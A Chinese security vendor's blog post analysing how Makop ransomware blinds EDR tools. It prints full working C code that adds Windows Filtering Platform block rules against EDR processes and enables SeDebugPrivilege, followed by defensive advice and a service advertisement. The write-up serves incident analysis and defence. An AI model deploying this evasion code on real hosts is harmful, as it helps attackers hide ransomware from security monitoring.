文章总结: 本文详细分析了勒索病毒如何通过流量致盲技术绕过EDR系统,利用Windows防火墙平台阻止EDR进程的网络流量,使安全设备无法检测到恶意行为。文章深入解析了阻止进程流量函数、恢复函数、鉴权函数和提权函数的代码实现,展示了黑客如何通过技术手段规避安全监控。最后提供了包括数据备份、系统更新、权限管理等多方面的安全建议,帮助企业防范此类攻击。
综合评分: 85
文章分类: 恶意软件,漏洞分析,应急响应,终端安全,网络安全
【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第二篇-流量致盲,无声突破
索勒安全团队
solar应急响应团队
2024年12月12日 15:35
山东
引言:在之前的文章025.【成功案例】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告中,我们提到,尽管许多企业已经部署了众多安全设备和备份解决方案,并建立了相对成熟的安全运营体系,但在如此复杂的网络环境中,依然存在漏洞,导致黑客成功发起勒索加密攻击,最终造成业务瘫痪。通过对加密样本的提取和分析,我们识别出黑客使用了一些隐蔽的攻击手法,如Killav和致盲等,这些技术成功绕过了现有的安全防护,未能及时被检测到。
上篇文章029.勒索病毒如何轻松绕过安全设备防线:第一篇-驱动漏洞一击致命我们讲解了黑客如何利用漏洞驱动Kill AV攻击的全流程,本篇文章将探讨解析如何配合驱动进行流量致盲,从而使部署的EDR无感地执行加密,导致机器被加密,下一篇将在弱口令实验室公众号讨论黑客如何隐秘的加载shellcode的手法,敬请期待!
模拟客户网络拓扑环境
1. 背景
1.1 家族介绍
关于Makop家族信息详情可参考本篇文章【病毒分析】揭秘.mkp后缀勒索病毒!Makop家族变种如何进行可视化加密?
1.2 终端检测与响应(EDR)测试结果
通过技术手段捕获Makop家族的程序后,我们第一时间对国内外主流的防病毒软件(AV)和终端检测与响应(EDR)系统进行了测试,发现该程序能够成功地进行流量致盲从而使部署EDR无感检测就被执行了加密,具体测试结果如下:
EDR未检测,加密器成功加密
EDR后台无告警信息
2. 流量致盲对抗EDR
拖入ida,发现字符串未删除
通过搜索发现使用了https://github.com/netero1010/EDRSilencer项目,通过拦截edr流量以此来达到致盲edr。
2.1 阻止进程流量函数
void BlockEdrProcessTraffic() {
DWORD result = 0;
HANDLE hEngine = NULL;
HANDLE hProcessSnap = NULL;
HANDLE hModuleSnap = NULL;
PROCESSENTRY32 pe32 = {0};
BOOL isEdrDetected = FALSE;
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
return;
}
EnableSeDebugPrivilege();
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
printf("[-] CreateToolhelp32Snapshot (of processes) failed with error code: 0x%x.\n", GetLastError());
return;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) {
printf("[-] Process32First failed with error code: 0x%x.\n", GetLastError());
CloseHandle(hProcessSnap);
return;
}
do {
if (isInEdrProcessList(pe32.szExeFile)) {
isEdrDetected = TRUE;
printf("Detected running EDR process: %s (%d):\n", pe32.szExeFile, pe32.th32ProcessID);
// Get full path of the running process
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess) {
WCHAR fullPath[MAX_PATH] = {0};
DWORD size = MAX_PATH;
FWPM_FILTER_CONDITION0 cond = {0};
FWPM_FILTER0 filter = {0};
FWPM_PROVIDER0 provider = {0};
GUID providerGuid = {0};
FWP_BYTE_BLOB* appId = NULL;
UINT64 filterId = 0;
ErrorCode errorCode = CUSTOM_SUCCESS;
QueryFullProcessImageNameW(hProcess, 0, fullPath, &size);
errorCode = CustomFwpmGetAppIdFromFileName0(fullPath, &appId);
if (errorCode != CUSTOM_SUCCESS) {
switch (errorCode) {
case CUSTOM_FILE_NOT_FOUND:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The file path cannot be found.\n", fullPath);
break;
case CUSTOM_MEMORY_ALLOCATION_ERROR:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Error occurred in allocating memory for appId.\n", fullPath);
break;
case CUSTOM_NULL_INPUT:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Please check your input.\n", fullPath);
break;
case CUSTOM_DRIVE_NAME_NOT_FOUND:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The drive name cannot be found.\n", fullPath);
break;
case CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Failed to convert drive name to DOS device name.\n", fullPath);
break;
default:
break;
}
CloseHandle(hProcess);
continue;
}
// Sett up WFP filter and condition
filter.displayData.name = filterName;
filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
filter.action.type = FWP_ACTION_BLOCK;
UINT64 weightValue = 0xFFFFFFFFFFFFFFFF;
filter.weight.type = FWP_UINT64;
filter.weight.uint64 = &weightValue;
cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
cond.matchType = FWP_MATCH_EQUAL;
cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
cond.conditionValue.byteBlob = appId;
filter.filterCondition = &cond;
filter.numFilterConditions = 1;
// Add WFP provider for the filter
if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
filter.providerKey = &providerGuid;
} else {
provider.displayData.name = providerName;
provider.displayData.description = providerDescription;
provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
result = FwpmProviderAdd0(hEngine, &provider, NULL);
if (result != ERROR_SUCCESS) {
printf(" [-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
} else {
if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
filter.providerKey = &providerGuid;
}
}
}
// Add filter to both IPv4 and IPv6 layers
result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
if (result == ERROR_SUCCESS) {
printf(" Added WFP filter for \"%S\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId);
} else {
printf(" [-] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result);
}
filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
if (result == ERROR_SUCCESS) {
printf(" Added WFP filter for \"%S\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId);
} else {
printf(" [-] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result);
}
FreeAppId(appId);
CloseHandle(hProcess);
} else {
printf(" [-] Could not open process \"%s\" with error code: 0x%x.\n", pe32.szExeFile, GetLastError());
}
}
} while (Process32Next(hProcessSnap, &pe32));
if (!isEdrDetected) {
printf("[-] No EDR process was detected. Please double check the edrProcess list or add the filter manually using 'block' command.\n");
}
CloseHandle(hProcessSnap);
FwpmEngineClose0(hEngine);
return;
}
它的主要功能是通过 Windows 防火墙平台(WFP)来监控和阻止指定的 EDR(Endpoint Detection and Response)进程的网络连接。具体步骤如下:
-
打开 WFP 引擎:使用
FwpmEngineOpen0打开 WFP 引擎。如果打开失败,打印错误并退出。 -
获取进程列表:通过
CreateToolhelp32Snapshot获取系统中所有进程的快照,并使用Process32First和Process32Next遍历每个进程。 -
检测 EDR 进程:对于每个进程,检查其名称是否在预定义的 EDR 进程列表中(通过
isInEdrProcessList函数)。如果检测到 EDR 进程,则执行以下操作: -
打印进程名称和 PID。
-
获取该进程的完整路径,并通过
CustomFwpmGetAppIdFromFileName0获取该进程的 App ID(应用程序 ID)。如果获取失败,打印错误信息并继续处理下一个进程。 -
创建 WFP 过滤器:
-
配置 WFP 过滤器的条件,基于进程的 App ID 来匹配。
-
设置 WFP 过滤器的动作为
FWP_ACTION_BLOCK,即阻止匹配条件的网络连接。 -
为 IPv4 和 IPv6 两个网络层添加该过滤器,阻止 EDR 进程的网络流量。
-
添加 WFP 提供程序:如果没有已知的 WFP 提供程序 GUID,则创建一个新的 WFP 提供程序,并将其与过滤器关联。
-
关闭资源:处理完所有进程后,关闭进程快照句柄和 WFP 引擎。
-
错误处理:整个过程中,如果发生任何错误(例如,打开进程失败、添加过滤器失败等),都会打印详细的错误信息。
2.2 恢复函数
void UnblockAllWfpFilters() {
HANDLE hEngine = NULL;
DWORD result = 0;
HANDLE enumHandle = NULL;
FWPM_FILTER0** filters = NULL;
GUID providerGuid = {0};
UINT32 numFilters = 0;
BOOL foundFilter = FALSE;
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
return;
}
result = FwpmFilterCreateEnumHandle0(hEngine, NULL, &enumHandle);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmFilterCreateEnumHandle0 failed with error code: 0x%x.\n", result);
return;
}
while(TRUE) {
result = FwpmFilterEnum0(hEngine, enumHandle, 1, &filters, &numFilters);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmFilterEnum0 failed with error code: 0x%x.\n", result);
FwpmFilterDestroyEnumHandle0(hEngine, enumHandle);
FwpmEngineClose0(hEngine);
return;
}
if (numFilters == 0) {
break;
}
FWPM_DISPLAY_DATA0 *data = &filters[0]->displayData;
WCHAR* currentFilterName = data->name;
if (wcscmp(currentFilterName, filterName) == 0) {
foundFilter = TRUE;
UINT64 filterId = filters[0]->filterId;
result = FwpmFilterDeleteById0(hEngine, filterId);
if (result == ERROR_SUCCESS) {
printf("Deleted filter id: %llu.\n", filterId);
} else {
printf("[-] Failed to delete filter id: %llu with error code: 0x%x.\n", filterId, result);
}
}
}
if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
result = FwpmProviderDeleteByKey0(hEngine, &providerGuid);
if (result != ERROR_SUCCESS) {
if (result != FWP_E_IN_USE) {
printf("[-] FwpmProviderDeleteByKey0 failed with error code: 0x%x.\n", result);
}
} else {
printf("Deleted custom WFP provider.\n");
}
}
if (!foundFilter) {
printf("[-] Unable to find any WFP filter created by this tool.\n");
}
FwpmFilterDestroyEnumHandle0(hEngine, enumHandle);
FwpmEngineClose0(hEngine);
}
打开 WFP 引擎 (FwpmEngineOpen0):
- 调用
FwpmEngineOpen0打开 WFP 引擎。如果打开失败,则打印错误代码并退出。
创建过滤器枚举句柄 (FwpmFilterCreateEnumHandle0):
- 调用
FwpmFilterCreateEnumHandle0创建一个过滤器枚举句柄,这个句柄用于遍历当前系统中所有的 WFP 过滤器。如果创建枚举句柄失败,则打印错误信息并退出。
枚举过滤器 (FwpmFilterEnum0):
- 通过
FwpmFilterEnum0获取系统中已存在的过滤器。每次调用FwpmFilterEnum0都会枚举一个或多个过滤器。这里的1表示每次枚举一个过滤器,返回的filters是过滤器数组,numFilters表示返回的过滤器数量。 - 如果调用失败,打印错误代码并退出。如果没有更多的过滤器(即
numFilters == 0),则退出循环。
检查并删除特定的过滤器:
-
在循环中,对于每个枚举的过滤器,检查其名称是否与
filterName匹配。如果匹配: -
设置
foundFilter为TRUE,表示找到了要删除的过滤器。 -
获取过滤器的
filterId,并使用FwpmFilterDeleteById0删除该过滤器。如果删除成功,打印成功消息;否则,打印失败的错误信息。
删除 WFP 提供程序 (FwpmProviderDeleteByKey0):
- 如果成功获取到提供程序的 GUID(通过
GetProviderGUIDByDescription),则使用FwpmProviderDeleteByKey0删除相应的 WFP 提供程序。如果删除失败,检查是否是由于该提供程序仍在使用(FWP_E_IN_USE),如果是其他错误,则打印错误代码。
处理未找到过滤器的情况:
- 如果遍历所有过滤器后未找到符合条件的过滤器,则打印未找到过滤器的消息。
清理资源:
- 通过
FwpmFilterDestroyEnumHandle0销毁过滤器枚举句柄,并通过FwpmEngineClose0关闭 WFP 引擎,释放资源。
2.3 鉴权函数
BOOL CheckProcessIntegrityLevel() {
HANDLE hToken = NULL;
DWORD dwLength = 0;
PTOKEN_MANDATORY_LABEL pTIL = NULL;
DWORD dwIntegrityLevel = 0;
BOOL isHighIntegrity = FALSE;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &hToken)) {
if (GetLastError() != ERROR_NO_TOKEN) {
printf("[-] OpenThreadToken failed with error code: 0x%x.\n", GetLastError());
return FALSE;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
printf("[-] OpenProcessToken failed with error code: 0x%x.\n", GetLastError());
return FALSE;
}
}
// Get the size of the integrity level information
if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLength) &&
GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
printf("[-] GetTokenInformation failed with error code: 0x%x.\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLength);
if (pTIL == NULL) {
printf("[-] LocalAlloc failed with error code: 0x%x.\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLength, &dwLength)) {
printf("[-] GetTokenInformation failed with error code: 0x%x.\n", GetLastError());
LocalFree(pTIL);
CloseHandle(hToken);
return FALSE;
}
if (pTIL->Label.Sid == NULL || *GetSidSubAuthorityCount(pTIL->Label.Sid) < 1) {
printf("[-] SID structure is invalid.\n");
LocalFree(pTIL);
CloseHandle(hToken);
return FALSE;
}
dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));
if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
isHighIntegrity = TRUE;
} else {
printf("[-] This program requires to run in high integrity level.\n");
}
LocalFree(pTIL);
CloseHandle(hToken);
return isHighIntegrity;
}
获取进程/线程的访问令牌 (OpenThreadToken 和 OpenProcessToken):
- 首先,代码尝试使用
OpenThreadToken获取当前线程的访问令牌。如果当前线程没有令牌(即返回错误代码ERROR_NO_TOKEN),则尝试使用OpenProcessToken获取当前进程的访问令牌。 - 如果都失败,程序会打印错误信息并返回
FALSE,表示无法获取令牌。
获取令牌的完整性级别信息 (GetTokenInformation):
- 调用
GetTokenInformation来查询访问令牌中的完整性级别信息。首先,调用时传入NULL参数并获取所需的缓冲区大小(dwLength),如果返回值是ERROR_INSUFFICIENT_BUFFER,表示缓冲区大小不足,接着分配足够的内存。 - 使用
GetTokenInformation获取完整性级别信息并存储到pTIL(PTOKEN_MANDATORY_LABEL类型)中。如果获取失败,打印错误信息并返回FALSE。
验证完整性级别的有效性:
- 完整性级别是通过令牌中的 SID(安全标识符)获取的。通过
GetSidSubAuthorityCount和GetSidSubAuthority获取 SID 中的完整性级别信息。 - 如果 SID 无效(例如为空或没有子授权),代码会打印错误信息并返回
FALSE。
判断完整性级别:
- 通过获取的完整性级别与常量
SECURITY_MANDATORY_HIGH_RID进行比较,来判断当前进程是否具有“高完整性”级别。这个常量通常表示高权限进程(如管理员权限、系统进程等)。 - 如果完整性级别大于或等于
SECURITY_MANDATORY_HIGH_RID,则认为当前进程具有高完整性,设置isHighIntegrity为TRUE。
释放资源和关闭句柄:
- 代码在操作完成后通过
LocalFree释放分配的内存,并通过CloseHandle关闭打开的令牌句柄。
返回值:
- 最后,返回
isHighIntegrity变量,指示当前进程或线程是否在高完整性级别上运行。
2.4 提权函数
BOOL EnableSeDebugPrivilege() {
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tokenPrivileges = {0};
if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, TRUE, &hToken)) {
if (GetLastError() != ERROR_NO_TOKEN) {
printf("[-] OpenThreadToken failed with error code: 0x%x.\n", GetLastError());
return FALSE;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
printf("[-] OpenProcessToken failed with error code: 0x%x.\n", GetLastError());
return FALSE;
}
}
if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &tokenPrivileges.Privileges[0].Luid)){
printf("[-] LookupPrivilegeValueA failed with error code: 0x%x.\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
printf("[-] AdjustTokenPrivileges failed with error code: 0x%x.\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
printf("[-] Failed to get SeDebugPrivilege. You might not be able to get the process handle of the EDR process.\n");
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
1.打开访问令牌:
尝试打开当前线程的令牌;若失败,再尝试打开当前进程的令牌。
2.查找 SeDebugPrivilege 权限:
使用 LookupPrivilegeValueA 查找 SeDebugPrivilege 的 LUID。
3.启用权限:
调用 AdjustTokenPrivileges 启用 SeDebugPrivilege 权限。
4.检查是否启用成功:
如果权限没有成功启用,返回 FALSE 并输出错误。
5.返回结果:
如果权限启用成功,返回 TRUE。
3. 总结
通过利用Windows的防火墙平台(WFP)来阻止指定的EDR(端点检测与响应)进程的网络流量,从而达到“致盲”EDR的效果。首先,它会扫描系统中的所有进程,并检查是否有已知的EDR进程。如果发现EDR进程,它会获取该进程的路径和AppID,然后通过WFP创建过滤规则,阻止该进程的网络连接,确保EDR无法监控到恶意行为。这种方式被恶意软件用来规避EDR监控,隐藏攻击活动。恢复函数则会撤销这些过滤规则,恢复网络流量的正常传输。
以下是solar安全团队近期处理过的常见勒索病毒后缀:
| 出现时间 | 病毒名称 | 相关文章 |
| — | — | — |
| 2020/01 | .mkp | 【病毒分析】揭秘.mkp后缀勒索病毒!Makop家族变种如何进行可视化加密? |
| 2024/05 | .moneyistime | 【病毒分析】使用中文勒索信及沟通:MoneyIsTime 勒索家族的本地化语言转变及其样本分析 |
| 2024/09/29 | .lol | 【病毒分析】全网首发!全面剖析.LOL勒索病毒,无需缴纳赎金,破解方案敬请期待下篇! 【工具分享】.LOL勒索病毒再也不怕!完整破解教程分享+免费恢复工具首发 |
| 2024/06/21 | .MBRlock | 【病毒分析】假冒游戏陷阱:揭秘MBRlock勒索病毒及其修复方法 |
| 2024/06/01 | .steloj | 【病毒分析】Steloj勒索病毒分析 |
| 2024/05/27 | .TargetOwner | 【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭? |
| 2024/05/17 | .Lockbit 3.0 | 【病毒分析】Lockbit家族Lockbit 3.0加密器分析【成功案例】RDP暴露引发的蝴蝶效应:LockBit组织利用MSF工具及永恒之蓝漏洞进行勒索入侵 【成功案例】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告 【病毒分析】繁体勒索信暗藏玄机!要价50万RMB赎金的Lockbit泄露版分析 |
| 2024/05/13 | .wormhole | 【病毒分析】Wormhole勒索病毒分析 |
| 2024/04/09 | .bianlian | 【病毒分析】新兴TOP2勒索软件!存在中国受害者的BianLian勒索软件解密原理剖析 |
| 2024/03/20 | .locked | 【病毒分析】locked勒索病毒分析 |
| 2024/03/11 | .Live1.5 | 【病毒分析】独家揭秘LIVE勒索病毒家族之1.5(全版本可解密) |
| 2024/03/08 | .Live2.0 | 【病毒分析】独家揭秘LIVE勒索病毒家族之2.0(全版本可解密) |
| 2024/03/06 | .Elbie | 【病毒分析】phobos家族Elbie变种加密器分析报告 |
| 2024/03/01 | .lvt | 【病毒分析】交了赎金也无法恢复–针对国内某知名NAS的LVT勒索病毒最新分析 |
| 2024/02/26 | .2700 | 【病毒分析】phobos家族2700变种加密器分析报告 【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目 |
| 2024/01/18 | ._locked | 中国人不骗中国人?_locked勒索病毒分析 |
| 2024/01/15 | .faust | 【病毒分析】phobos家族faust变种加密器分析 |
| 2024/01/15 | .DevicData | 【病毒分析】DevicData勒索病毒分析 |
| 2024/01/02 | .jopanaxye | 【成功案例】某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目 |
| 2023/12/01 | .live1.0 | 【病毒分析】独家揭秘LIVE勒索病毒家族之1.0(全版本可解密) |
| 2023/09/05 | .CryptoBytes | 【独家破解】揭秘境外黑客组织的20美元锁机病毒:深度逆向分析+破解攻略!赎金?给你付个🥚 |
| 2023/08/28 | .mallox | 【病毒分析】mallox家族malloxx变种加密器分析报告 |
| 2023/08/02 | .rmallox | 【病毒分析】mallox家族rmallox变种加密器分析报告 【成功案例】间隔数月双团伙先后利用某ERP0day实施入侵和勒索的解密恢复项目 |
| 2023/01/10 | .DevicData-Pa2a9e9c | 【病毒分析】DevicData家族扩散:全球企业和机构成为勒索病毒头号攻击目标! |
| 2023年初 | .halo | 【病毒分析】全网首发!以国内某安全厂商名字为后缀的勒索病毒分析 |
| 2021/05/01 | .mallox | 【病毒分析】Mallox家族再进化:首次瞄准Linux,勒索新版本全面揭秘! |
| 2021年1月初 | .babyk | 【病毒分析】BabyK加密器分析-Windows篇 【病毒分析】Babyk加密器分析-NAS篇 【病毒分析】 Babyk加密器分析-EXSI篇 【病毒分析】Babuk家族babyk勒索病毒分析 【成功案例】利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目 |
| 2020/05/18 | .consultraskey-F-XXXX | 【成功案例】解决浙江xx电子有限公司的勒索病毒 |
| 2019/05/01 | .src | 【病毒分析】Phobos家族新变种 .SRC深度分析:揭示持续演变的勒索新威胁 |
勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。
而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。
4.安全建议
4.1 风险消减措施
前期处理方法(企业内部):
1.尽快断开被感染设备的网络连接,以防止病毒进一步扩散!
2.请勿中途强制关机,该行为会造成不可逆后果
3.不要尝试自行解密或支付赎金,以免造成更大损失!以下为详细的消减措施:
1. 数据备份策略
定期进行数据备份,并确保备份数据存储在物理隔离的设备或云环境中,避免备份被勒索病毒感染。
实施多重备份策略,如每日、每周、每月备份,以确保在灾难恢复时有多种数据版本可供选择。
2. 系统和应用更新
定期更新操作系统和应用软件,及时打补丁,修复已知的漏洞。
开启自动更新功能,确保始终拥有最新的安全补丁。
3. 邮件和浏览器安全
部署电子邮件安全网关,过滤恶意附件和链接。
培训员工识别钓鱼邮件和恶意链接,提高对社会工程攻击的防范意识。
限制员工对高风险网站(如未经过筛选的下载网站)的访问,减少通过恶意广告和下载感染的风险。
4. 用户权限管理
最小权限原则(Principle of Least Privilege):根据岗位需求分配权限,避免不必要的管理员权限。
禁止员工使用公共账户和共享账号,所有用户需拥有独立的登录凭证。
5. 启用多因素认证(MFA)
为关键系统和远程访问启用MFA,防止账号被未经授权访问。
除了密码之外,添加短信验证、动态令牌等额外的安全层。
6. 网络分段与隔离
实施网络分段,将关键系统与普通网络隔离开,防止勒索病毒在局域网内扩散。
对于重要的业务系统,采用单独的VLAN和防火墙策略进行防护。
7. 部署防勒索软件和端点检测响应(EDR)
使用防病毒软件和防勒索软件,及时识别和阻止潜在的勒索病毒攻击。
部署EDR解决方案,以监测和响应异常活动,迅速隔离感染设备,防止病毒扩散。
8.建立并测试应急响应计划
制定详细的应急响应计划,明确在勒索攻击发生时的应对步骤。
定期演练,测试该计划的可操作性,并进行改进。
9. 入侵检测与流量监控
使用入侵检测系统(IDS)和入侵防御系统(IPS),识别和阻断异常流量。
监控网络流量日志,以便在勒索病毒传播的早期阶段及时发现异常。
4.2 安全设备调优
目标
通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。
主要目标设备
网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。
4.3 全员安全意识增强调优
目标:
通过网络安全意识宣贯、培训提升全方位安全能力
形式:
线下培训与宣贯:采用面授形式,通过系统化的课程安排,确保全员深入理解网络安全的核心概念和防护措施。
线上替代方案
分发学习材料:在无法组织线下培训的情况下,可以提供安全意识培训材料,由各级管理层分发,鼓励员工自主学习。
线上培训会议:组织线上集体学习会,安排网络安全专家进行远程培训,确保人员得到充分指导和答疑。
我司自主研发的知行网络安全教育平台结合多种培训方式的组合,灵活应对不同场景,确保每位员工具备扎实的网络安全意识与技能。
知行网络安全教育平台
视频学习功能
AI助教功能
题目练习功能
自主练习功能
5.团队介绍
solar团队数年深耕勒索解密与数据恢复领域,在勒索解密和数据恢复领域建立了良好的声誉,以高效、安全、可靠的解决方案赢得了客户的信任。无论是个人用户还是大型企业,都能提供量身定制的服务,确保每一个被勒索软件侵害的数据都能够恢复到最佳状态,同时在解密数据恢复后,提供全面的后门排查及安全加固服务,杜绝二次感染的风险。
同时,solar团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。
团队也先后通过了科技型中小企业、创新型中小企业认证、ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)以及国家信息安全漏洞库(CNNVD)技术支撑单位等认证,已构建了网络安全行业合格的资质体系。
More
6.数据恢复服务流程
多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了”免费售前+安心保障+专业恢复+安全防御”一体化的专业服务流程。
① 免费咨询/数据诊断分析
专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。
售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
您清楚了解数据恢复方案后,您可自主选择以下下单方式:
双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。
④ 开始数据恢复专业施工
安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。
数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。
⑤ 数据验收/安全防御方案
完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。
客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。
点击关注下方名片进入公众号 了解更多
更多资讯 扫码加入群组交流
喜欢此内容的人还喜欢
【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目
索勒安全团队
【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第一篇-驱动漏洞一击致命
索勒安全团队
【新闻转载】680GB数据泄露!Blue Yonder勒索攻击背后的真相与应对
#
索勒安全团队
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:solar应急响应团队 索勒安全团队《【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第二篇-流量致盲,无声突破》